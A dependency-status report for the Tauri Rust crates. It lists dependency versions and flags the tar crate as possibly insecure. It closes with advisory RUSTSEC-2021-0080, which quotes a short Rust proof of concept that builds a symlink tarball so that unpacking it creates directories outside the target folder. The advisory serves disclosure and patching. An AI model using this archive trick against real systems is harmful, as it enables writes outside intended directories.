This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate tauri

Dependencies

(36 total, 1 possibly insecure)

CrateRequiredLatestStatus
 serde_json^1.01.0.72up to date
 serde^1.01.0.130up to date
 tokio^1.141.14.0up to date
 futures^0.30.3.18up to date
 uuid^0.80.8.2up to date
 url^2.22.2.2up to date
 thiserror^1.01.0.30up to date
 once_cell^1.81.8.0up to date
 rand^0.80.8.4up to date
 tempfile^33.2.0up to date
 semver^1.01.0.4up to date
 serde_repr^0.10.1.7up to date
 zip^0.50.5.13up to date
 ignore^0.40.4.18up to date
 either^1.61.6.1up to date
 tar ⚠️^0.40.4.37maybe insecure
 flate2^1.01.0.22up to date
 http^0.20.2.5up to date
 state^0.50.5.2up to date
 bincode^1.31.3.3up to date
 dirs-next^2.02.0.0up to date
 percent-encoding^2.12.1.0up to date
 base64^0.130.13.0up to date
 clap=3.0.0-beta.52.33.3up to date
 notify-rust^4.54.5.5up to date
 reqwest^0.110.11.6up to date
 bytes^11.1.0up to date
 attohttpc^0.180.18.0up to date
 open^2.02.0.1up to date
 shared_child^1.01.0.0up to date
 os_pipe^1.01.0.0up to date
 rfd^0.6.10.6.1up to date
 raw-window-handle^0.4.20.4.2up to date
 minisign-verify^0.20.2.0up to date
 os_info^3.0.83.0.8up to date
 futures-lite^1.121.12.0up to date

Dev dependencies

(8 total, all up-to-date)

CrateRequiredLatestStatus
 proptest^1.0.01.0.0up to date
 serde_json^1.01.0.72up to date
 serde^1.01.0.130up to date
 quickcheck^1.0.31.0.3up to date
 quickcheck_macros^1.0.01.0.0up to date
 tokio-test^0.4.20.4.2up to date
 tokio^1.141.14.0up to date
 mockito^0.300.30.0up to date

Build dependencies

(1 total, all up-to-date)

CrateRequiredLatestStatus
 cfg_aliases^0.1.10.1.1up to date

Crate tauri-runtime

Dependencies

(7 total, 1 outdated)

CrateRequiredLatestStatus
 serde^1.01.0.130up to date
 serde_json^1.01.0.72up to date
 thiserror^1.01.0.30up to date
 uuid^0.8.20.8.2up to date
 http^0.2.40.2.5up to date
 http-range^0.1.40.1.4up to date
 infer^0.40.5.0out of date

Crate tauri-runtime-wry

Dependencies

(2 total, 1 outdated)

CrateRequiredLatestStatus
 uuid^0.8.20.8.2up to date
 infer^0.40.5.0out of date

Crate tauri-macros

Dependencies

(3 total, all up-to-date)

CrateRequiredLatestStatus
 proc-macro2^11.0.32up to date
 quote^11.0.10up to date
 syn^11.0.82up to date

Crate tauri-utils

Dependencies

(10 total, all up-to-date)

CrateRequiredLatestStatus
 serde^1.01.0.130up to date
 serde_json^1.01.0.72up to date
 thiserror^1.0.301.0.30up to date
 phf^0.100.10.0up to date
 zstd^0.90.9.0+zstd.1.5.0up to date
 url^2.22.2.2up to date
 kuchiki^0.80.8.1up to date
 html5ever^0.250.25.1up to date
 proc-macro2^1.01.0.32up to date
 quote^1.01.0.10up to date

Crate tauri-build

Dependencies

(2 total, all up-to-date)

CrateRequiredLatestStatus
 anyhow^11.0.49up to date
 quote^11.0.10up to date

Crate tauri-codegen

Dependencies

(10 total, all up-to-date)

CrateRequiredLatestStatus
 blake3^1.21.2.0up to date
 proc-macro2^11.0.32up to date
 quote^11.0.10up to date
 serde^11.0.130up to date
 serde_json^11.0.72up to date
 thiserror^11.0.30up to date
 walkdir^22.3.2up to date
 zstd^0.90.9.0+zstd.1.5.0up to date
 kuchiki^0.80.8.1up to date
 regex^11.5.4up to date

Security Vulnerabilities

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!